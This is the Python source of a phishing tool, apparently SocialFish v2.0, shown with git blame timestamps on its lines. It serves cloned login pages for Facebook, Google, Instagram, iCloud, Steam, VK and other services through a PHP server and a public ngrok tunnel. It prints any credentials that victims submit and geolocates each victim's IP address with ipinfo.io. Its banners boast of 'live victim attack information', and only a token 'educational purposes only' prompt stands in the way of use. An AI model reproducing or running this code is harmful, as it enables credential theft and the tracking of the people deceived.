2018-06-18 17:57:58 +08:00
#!/usr/bin/python3
2018-03-31 15:42:23 +08:00
#-*- coding: utf-8 -*-
# SOCIALFISH v2.0
# by: An0nUD4Y
#
2018-06-09 12:36:15 +08:00
###########################
2018-03-31 15:42:23 +08:00
from time import sleep
from sys import stdout , exit
from os import system , path
2018-06-09 12:36:15 +08:00
from distutils . dir_util import copy_tree
2018-03-31 15:42:23 +08:00
import multiprocessing
2018-06-18 17:57:58 +08:00
from urllib . request import urlopen , quote , unquote
2018-06-09 12:36:15 +08:00
from platform import system as systemos , architecture
2018-03-31 15:42:23 +08:00
from wget import download
2018-06-09 12:36:15 +08:00
import re
import json
2018-03-31 15:42:23 +08:00
RED , WHITE , CYAN , GREEN , END = ' \033 [91m ' , ' \33 [46m ' , ' \033 [36m ' , ' \033 [1;32m ' , ' \033 [0m '
def connected ( host = ' http://duckduckgo.com ' ) :
try :
urlopen ( host )
return True
except :
return False
if connected ( ) == False :
2018-06-18 17:57:58 +08:00
print ( '''
. . . . . _____ . . . . . . . ____ ____ ____ _ ____ _ ____ _ ____ _ _
2018-03-31 15:42:23 +08:00
/ \/ | [ __ | | | | | __ | | | ___ | [ __ | __ |
\o__ / \| ___ ] | __ | | ___ | | | | ___ | | ___ ] | |
2018-06-18 17:57:58 +08:00
\|
2018-03-31 15:42:23 +08:00
{ 0 } [ { 1 } ! { 0 } ] { 1 } Network error . Verify your connection . \n
2018-06-18 17:57:58 +08:00
''' .format(RED, END))
2018-03-31 15:42:23 +08:00
exit ( 0 )
def checkNgrok ( ) :
2018-06-18 17:57:58 +08:00
if path . isfile ( ' Server/ngrok ' ) == False :
print ( ' [*] Downloading Ngrok... ' )
2018-03-31 15:42:23 +08:00
if architecture ( ) [ 0 ] == ' 64bit ' :
2018-04-02 12:51:07 +08:00
filename = ' ngrok-stable-linux-arm.zip '
2018-03-31 15:42:23 +08:00
else :
2018-04-02 12:51:07 +08:00
filename = ' ngrok-stable-linux-arm.zip '
2018-03-31 15:42:23 +08:00
url = ' https://bin.equinox.io/c/4VmDzA7iaHb/ ' + filename
download ( url )
system ( ' unzip ' + filename )
2018-06-09 12:36:15 +08:00
system ( ' mv ngrok Server/ngrok ' )
2018-03-31 15:42:23 +08:00
system ( ' rm -Rf ' + filename )
system ( ' clear ' )
checkNgrok ( )
def end ( ) :
system ( ' clear ' )
2018-06-18 17:57:58 +08:00
print ( '''
S O C I A L { 2 }
2018-03-31 15:42:23 +08:00
| \ \ \ \ \ \ \ \ __ ___
| \ \ \ \ \ \ \ \ | O ~ - _ _ - ~ ~ ~ ~ - _
| > - - - - | - | - | - | - | - | - | - - | __ / / { 1 } DON ' T {2} )
| / / / / / / / / | __ \ < { 1 } FORGET { 2 } )
| / / / / / / / / \_ { 1 } ME ! { 2 } _ )
{ 1 } F I S H { 2 } ~ - - ___ - - ~
2018-04-25 19:34:16 +08:00
{ 0 } NOW WITH LIVE VICTIM ATTACK INFORMATION ]
2018-03-31 15:42:23 +08:00
{ 1 } [ { 0 } Some more phising pages have been added in script . For a better Attack ]
2018-06-18 17:57:58 +08:00
[ { 0 } Work Done By - - - - - - - - - - - - - - - - - - - - - - - - > An0nUD4Y ] \n ''' .format(GREEN, END, CYAN))
2018-03-31 15:42:23 +08:00
def loadModule ( module ) :
2018-06-18 17:57:58 +08:00
print ( ''' {0}
_ . - = - . _ . - ,
. ' " -., ' /
( AnonUD4Y _ . <
2018-03-31 15:42:23 +08:00
` = . ____ . = " `._ \\
2018-06-09 12:36:15 +08:00
2018-06-18 17:57:58 +08:00
[ { 1 } * { 0 } ] { 1 } % s module loaded . Building site . . . { 0 } ''' .format(CYAN, END) % module)
2018-03-31 15:42:23 +08:00
def runPhishing ( social , option2 ) :
2018-06-09 12:36:15 +08:00
system ( ' rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/ ' )
2018-03-31 15:42:23 +08:00
if option2 == ' 1 ' and social == ' Facebook ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/fb_standard/ " , " Server/www/ " )
2018-03-31 15:42:23 +08:00
if option2 == ' 2 ' and social == ' Facebook ' :
2018-06-18 17:57:58 +08:00
copy_tree ( " WebPages/fb_advanced_poll/ " , " Server/www/ " )
2018-03-31 15:42:23 +08:00
if option2 == ' 3 ' and social == ' Facebook ' :
2018-06-18 17:57:58 +08:00
copy_tree ( " WebPages/fb_security_fake/ " , " Server/www/ " )
2018-06-09 12:36:15 +08:00
if option2 == ' 4 ' and social == ' Facebook ' :
2018-06-18 17:57:58 +08:00
copy_tree ( " WebPages/fb_messenger/ " , " Server/www/ " )
2018-03-31 15:42:23 +08:00
elif option2 == ' 1 ' and social == ' Google ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/google_standard/ " , " Server/www/ " )
2018-03-31 15:42:23 +08:00
elif option2 == ' 2 ' and social == ' Google ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/google_advanced_poll/ " , " Server/www/ " )
2018-04-24 19:10:28 +08:00
elif option2 == ' 3 ' and social == ' Google ' :
2018-06-18 17:57:58 +08:00
copy_tree ( " WebPages/google_advanced_web/ " , " Server/www/ " )
2018-03-31 15:42:23 +08:00
elif social == ' LinkedIn ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/linkedin/ " , " Server/www/ " )
2018-03-31 15:42:23 +08:00
elif social == ' GitHub ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/GitHub/ " , " Server/www/ " )
2018-03-31 15:42:23 +08:00
elif social == ' StackOverflow ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/stackoverflow/ " , " Server/www/ " )
2018-03-31 15:42:23 +08:00
elif social == ' WordPress ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/wordpress/ " , " Server/www/ " )
2018-03-31 15:42:23 +08:00
elif social == ' Twitter ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/twitter/ " , " Server/www/ " )
2018-04-23 15:48:22 +08:00
elif social == ' Snapchat ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/Snapchat_web/ " , " Server/www/ " )
2018-04-25 16:03:34 +08:00
elif social == ' Yahoo ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/yahoo_web/ " , " Server/www/ " )
2018-05-26 18:15:51 +08:00
elif social == ' Twitch ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/twitch/ " , " Server/www/ " )
elif social == ' Microsoft ' :
2018-06-16 21:51:03 +08:00
copy_tree ( " WebPages/live_web/ " , " Server/www/ " )
elif social == ' Steam ' :
copy_tree ( " WebPages/steam/ " , " Server/www/ " )
2018-07-12 20:01:26 +08:00
elif social == ' iCloud ' :
copy_tree ( " WebPages/iCloud/ " , " Server/www/ " )
2018-03-31 15:42:23 +08:00
elif option2 == ' 1 ' and social == ' Instagram ' :
2018-06-18 17:57:58 +08:00
copy_tree ( " WebPages/Instagram_web/ " , " Server/www/ " )
2018-04-18 20:47:49 +08:00
elif option2 == ' 2 ' and social == ' Instagram ' :
2018-06-04 22:27:05 +08:00
copy_tree ( " WebPages/Instagram_autoliker/ " , " Server/www/ " )
2018-06-28 13:31:02 +08:00
elif option2 == ' 1 ' and social == ' VK ' :
copy_tree ( " WebPages/VK/ " , " Server/www/ " )
elif option2 == ' 2 ' and social == ' VK ' :
copy_tree ( " WebPages/VK_poll_method/ " , " Server/www/ " )
2018-06-04 22:27:05 +08:00
2018-06-09 12:36:15 +08:00
2018-06-18 17:57:58 +08:00
2018-03-31 15:42:23 +08:00
def waitCreds ( ) :
2018-06-18 17:57:58 +08:00
print ( " {0} [ {1} * {0} ] {1} Hi Hacker Everything has been completed.............. Start HAcking " . format ( RED , END ) )
print ( ''' {0}
_ . - = - . _ . - ,
. ' " -., ' /
( AnonUD4Y_ ~ . <
` = . ____ . = " `._ \\
[ { 1 } * { 0 } ] { 1 } NOW YOU WILL GET YOUR VICTIM ' S LIVE INFORMATION .
[ { 1 } * { 0 } ] { 1 } GET VICTIM ' S IP ADDRESS, ISP, GEOLOCATION, CITY, COUNTRY, AND MANY MORE STUFF. {0} ' ' ' . format ( CYAN , END ) )
print ( " {0} [ {1} * {0} ] {1} Waiting for credentials & victim ' s info... \n " . format ( RED , END ) )
2018-03-31 15:42:23 +08:00
while True :
2018-06-18 17:57:58 +08:00
2018-06-09 12:36:15 +08:00
with open ( ' Server/www/usernames.txt ' ) as creds :
2018-03-31 15:42:23 +08:00
lines = creds . read ( ) . rstrip ( )
2018-06-18 17:57:58 +08:00
if len ( lines ) != 0 :
print ( ' ====================================================================== ' . format ( RED , END ) )
print ( ' {0} [ CREDENTIALS FOUND ] {1} : \n {0} %s {1} ' . format ( GREEN , END ) % lines )
2018-06-09 12:36:15 +08:00
system ( ' rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt ' )
2018-06-18 17:57:58 +08:00
print ( ' ====================================================================== ' . format ( RED , END ) )
print ( ' {0} ***** HOPE YOU ARE ENJOYING. SO PLEASE MAKE IT MORE POPULAR ***** {1} \n {0} {1} ' . format ( RED , END ) )
2018-04-25 19:34:16 +08:00
creds . close ( )
2018-06-18 17:57:58 +08:00
2018-06-07 22:01:32 +08:00
2018-06-09 12:36:15 +08:00
with open ( ' Server/www/ip.txt ' ) as creds :
2018-06-07 20:57:20 +08:00
lines = creds . read ( ) . rstrip ( )
2018-06-18 17:57:58 +08:00
if len ( lines ) != 0 :
2018-06-09 12:36:15 +08:00
ip = re . match ( ' Victim Public IP: (.*?) \n ' , lines ) . group ( 1 )
2018-06-25 20:46:54 +08:00
resp = urlopen ( ' https://ipinfo.io/ %s /json ' % ip )
ipinfo = json . loads ( resp . read ( ) . decode ( resp . info ( ) . get_param ( ' charset ' ) or ' utf-8 ' ) )
2018-06-21 00:17:31 +08:00
if ' bogon ' in ipinfo :
2018-06-21 00:05:45 +08:00
print ( ' ====================================================================== ' . format ( RED , END ) )
print ( ' \n {0} [ VICTIM IP BOGUS ] {1} : \n {0} %s {1} ' . format ( GREEN , END ) % lines )
else :
matchObj = re . match ( ' ^(.*?),(.*)$ ' , ipinfo [ ' loc ' ] )
latitude = matchObj . group ( 1 )
longitude = matchObj . group ( 2 )
print ( ' ====================================================================== ' . format ( RED , END ) )
print ( ' \n {0} [ VICTIM INFO FOUND ] {1} : \n {0} %s {1} ' . format ( GREEN , END ) % lines )
print ( ' \n {0} Longitude: %s \n Latitude: %s {1} ' . format ( GREEN , END ) % ( longitude , latitude ) )
print ( ' \n {0} ISP: %s \n Country: %s {1} ' . format ( GREEN , END ) % ( ipinfo [ ' org ' ] , ipinfo [ ' country ' ] ) )
print ( ' \n {0} Region: %s \n City: %s {1} ' . format ( GREEN , END ) % ( ipinfo [ ' region ' ] , ipinfo [ ' city ' ] ) )
2018-06-09 12:36:15 +08:00
system ( ' rm -rf Server/www/ip.txt && touch Server/www/ip.txt ' )
2018-06-18 17:57:58 +08:00
print ( ' ====================================================================== ' . format ( RED , END ) )
2018-06-08 18:44:20 +08:00
creds . close ( )
2018-06-18 17:57:58 +08:00
2018-06-07 20:57:20 +08:00
2018-03-31 15:42:23 +08:00
def runPEnv ( ) :
system ( ' clear ' )
2018-06-18 17:57:58 +08:00
print ( ''' {2} - {1} An0nUD4Y {2} | {1} An0nUD4Y {2} | {1} An0nUD4Y {2} - INDIA
. . .
2018-03-31 15:42:23 +08:00
. ' . ' '
' ' ' ' '
2018-06-18 17:57:58 +08:00
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
2018-03-31 15:42:23 +08:00
. ' ' . . . . ' .. ' . ' .
2018-06-18 17:57:58 +08:00
' . . ' ' ' { 1 } v2 .0 { 2 }
2018-03-31 15:42:23 +08:00
' . . . . . ' . . ' ' .
2018-06-18 17:57:58 +08:00
' ' ' . ' { 1 } Updated_By - - > AnonUD4Y_ { 2 }
' {0} [ NOW WITH LIVE VICTIM ATTACK INFORMATION ]
2018-03-31 15:42:23 +08:00
' . '
'
2018-06-18 17:57:58 +08:00
{ 1 } ''' .format(GREEN, END, CYAN))
2018-03-31 15:42:23 +08:00
for i in range ( 101 ) :
sleep ( 0.01 )
stdout . write ( " \r {0} [ {1} * {0} ] {1} Preparing environment... %d %% " . format ( CYAN , END ) % i )
stdout . flush ( )
2018-06-18 17:57:58 +08:00
print ( " \n \n {0} [ {1} * {0} ] {1} Searching for PHP installation... " . format ( CYAN , END ) )
2018-03-31 15:42:23 +08:00
if 256 != system ( ' which php ' ) :
2018-06-18 17:57:58 +08:00
print ( " -- {0} > {1} OK. " . format ( CYAN , END ) )
2018-03-31 15:42:23 +08:00
else :
2018-06-18 17:57:58 +08:00
print ( " -- {0} > {1} PHP NOT FOUND: \n {0} * {1} Please install PHP and run me again.http://www.php.net/ " . format ( RED , END ) )
2018-03-31 15:42:23 +08:00
exit ( 0 )
2018-06-18 17:57:58 +08:00
if input ( " {0} [ {1} ! {0} ] {1} Do you agree to use this tool for educational purposes only? (y/n) \n {2} SF-An0nUD4Y > {1} " . format ( RED , END , CYAN ) ) . upper ( ) != ' Y ' :
2018-03-31 15:42:23 +08:00
system ( ' clear ' )
2018-06-18 17:57:58 +08:00
print ( ' \n [ {0} YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU NEED A GOOD MIND AND SOUL TO BE ONE OF US. GET AWAY FROM HERE AND DO NOT COME BACK WITH SAME MOTIVE. GOOD BYE! {1} ] \n ' . format ( RED , END ) )
2018-03-31 15:42:23 +08:00
exit ( 0 )
2018-07-12 20:01:26 +08:00
option = input ( " \n Select an option: \n \n {0} [ {1} 1 {0} ] {1} Facebook \n \n {0} [ {1} 2 {0} ] {1} Google \n \n {0} [ {1} 3 {0} ] {1} LinkedIn \n \n {0} [ {1} 4 {0} ] {1} GitHub \n \n {0} [ {1} 5 {0} ] {1} StackOverflow \n \n {0} [ {1} 6 {0} ] {1} WordPress \n \n {0} [ {1} 7 {0} ] {1} Twitter \n \n {0} [ {1} 8 {0} ] {1} Instagram \n \n {0} [ {1} 9 {0} ] {1} Snapchat \n \n {0} [ {1} 10 {0} ] {1} Yahoo \n \n {0} [ {1} 11 {0} ] {1} Twitch \n \n {0} [ {1} 12 {0} ] {1} Microsoft \n \n {0} [ {1} 13 {0} ] {1} Steam \n \n {0} [ {1} 14 {0} ] {1} VK \n \n {0} [ {1} 15 {0} ] {1} iCloud \n \n {0} [ {1} -----> {0} ] {1} More Phising Scripts COMMING SOON ! STAY TUNED With An0nUD4Y ! \n \n {0} SF-An0nUD4Y > {1} " . format ( CYAN , END ) )
2018-03-31 15:42:23 +08:00
if option == ' 1 ' :
loadModule ( ' Facebook ' )
2018-06-18 17:57:58 +08:00
option2 = input ( " \n Operation mode: \n \n {0} [ {1} 1 {0} ] {1} Standard Page Phishing \n \n {0} [ {1} 2 {0} ] {1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with) \n \n {0} [ {1} 3 {0} ] {1} Facebook Phishing- Fake Security issue(security_mode) \n \n {0} [ {1} 4 {0} ] {1} Facebook Phising-Messenger Credentials(messenger_mode) \n \n {0} [ {1} -----> {0} ] {1} More Phising Scripts COMMING SOON ! STAY TUNED ! \n \n {0} SF-An0nUD4Y > {1} " . format ( CYAN , END ) )
2018-03-31 15:42:23 +08:00
runPhishing ( ' Facebook ' , option2 )
elif option == ' 2 ' :
loadModule ( ' Google ' )
2018-06-18 17:57:58 +08:00
option2 = input ( " \n Operation mode: \n \n {0} [ {1} 1 {0} ] {1} Standard Page Phishing \n \n {0} [ {1} 2 {0} ] {1} Advanced Phishing(poll_mode/login_with) \n \n {0} [ {1} 3 {0} ] {1} New Google Web \n \n {0} [ {1} -----> {0} ] {1} More Phising Scripts COMMING SOON ! STAY TUNED ! \n \n {0} SF-An0nUD4Y > {1} " . format ( CYAN , END ) )
2018-03-31 15:42:23 +08:00
runPhishing ( ' Google ' , option2 )
elif option == ' 3 ' :
loadModule ( ' LinkedIn ' )
option2 = ' '
runPhishing ( ' LinkedIn ' , option2 )
elif option == ' 4 ' :
loadModule ( ' GitHub ' )
option2 = ' '
runPhishing ( ' GitHub ' , option2 )
elif option == ' 5 ' :
loadModule ( ' StackOverflow ' )
option2 = ' '
runPhishing ( ' StackOverflow ' , option2 )
elif option == ' 6 ' :
loadModule ( ' WordPress ' )
option2 = ' '
runPhishing ( ' WordPress ' , option2 )
elif option == ' 7 ' :
loadModule ( ' Twitter ' )
option2 = ' '
runPhishing ( ' Twitter ' , option2 )
elif option == ' 8 ' :
loadModule ( ' Instagram ' )
2018-06-18 17:57:58 +08:00
option2 = input ( " \n Operation mode: \n \n {0} [ {1} 1 {0} ] {1} Standard Instagram Web Page Phishing \n \n {0} [ {1} 2 {0} ] {1} Instagram Autoliker Phising (After submit redirects to original autoliker) \n \n {0} [ {1} -------------> {0} ] {1} More Phising Scripts COMMING SOON ! STAY TUNED ! \n \n {0} SF-An0nUD4Y > {1} " . format ( CYAN , END ) )
2018-04-23 15:48:22 +08:00
runPhishing ( ' Instagram ' , option2 )
elif option == ' 9 ' :
loadModule ( ' Snapchat ' )
option2 = ' '
runPhishing ( ' Snapchat ' , option2 )
2018-04-25 16:03:34 +08:00
elif option == ' 10 ' :
loadModule ( ' Yahoo ' )
option2 = ' '
2018-05-26 18:15:51 +08:00
runPhishing ( ' Yahoo ' , option2 )
elif option == ' 11 ' :
loadModule ( ' Twitch ' )
option2 = ' '
2018-06-18 17:57:58 +08:00
runPhishing ( ' Twitch ' , option2 )
2018-06-09 12:36:15 +08:00
elif option == ' 12 ' :
loadModule ( ' Microsoft ' )
option2 = ' '
2018-06-16 21:51:03 +08:00
runPhishing ( ' Microsoft ' , option2 )
elif option == ' 13 ' :
loadModule ( ' Steam ' )
option2 = ' '
runPhishing ( ' Steam ' , option2 )
2018-06-28 13:31:02 +08:00
elif option == ' 14 ' :
loadModule ( ' VK ' )
option2 = input ( " \n Operation mode: \n \n {0} [ {1} 1 {0} ] {1} Standard VK Web Page Phishing \n \n {0} [ {1} 2 {0} ] {1} Advanced Phishing(poll_mode/login_with) \n \n {0} [ {1} -------------> {0} ] {1} More Phising Scripts COMMING SOON ! STAY TUNED ! \n \n {0} SF-An0nUD4Y > {1} " . format ( CYAN , END ) )
2018-06-29 00:13:26 +08:00
runPhishing ( ' VK ' , option2 )
2018-07-12 20:01:26 +08:00
elif option == ' 15 ' :
loadModule ( ' iCloud ' )
option2 = ' '
runPhishing ( ' iCloud ' , option2 )
2018-03-31 21:27:41 +08:00
else :
exit ( 0 )
2018-03-31 15:42:23 +08:00
def runNgrok ( ) :
2018-06-09 12:36:15 +08:00
system ( ' ./Server/ngrok http 1111 > /dev/null & ' )
2018-03-31 15:42:23 +08:00
sleep ( 10 )
2018-06-11 01:19:24 +08:00
system ( ' curl -s -N http://127.0.0.1:4040/status | grep " https://[0-9a-z]* \ .ngrok.io " -oh > ngrok.url ' )
2018-06-09 12:36:15 +08:00
url = open ( ' ngrok.url ' , ' r ' )
2018-06-18 17:57:58 +08:00
print ( " \n {0} [ {1} * {0} ] {1} Ngrok URL: {2} " . format ( CYAN , END , GREEN ) + url . read ( ) + " {1} " . format ( CYAN , END , GREEN ) )
2018-03-31 15:42:23 +08:00
url . close ( )
2018-06-09 12:36:15 +08:00
def runServer ( ) :
system ( " cd Server/www/ && php -S 127.0.0.1:1111 " )
2018-03-31 15:42:23 +08:00
if __name__ == " __main__ " :
try :
runPEnv ( )
runNgrok ( )
2018-06-09 12:36:15 +08:00
multiprocessing . Process ( target = runServer ) . start ( )
2018-03-31 15:42:23 +08:00
waitCreds ( )
2018-06-18 17:57:58 +08:00
2018-03-31 15:42:23 +08:00
except KeyboardInterrupt :
system ( ' pkill -f ngrok ' )
end ( )
2018-06-09 12:36:15 +08:00
exit ( 0 )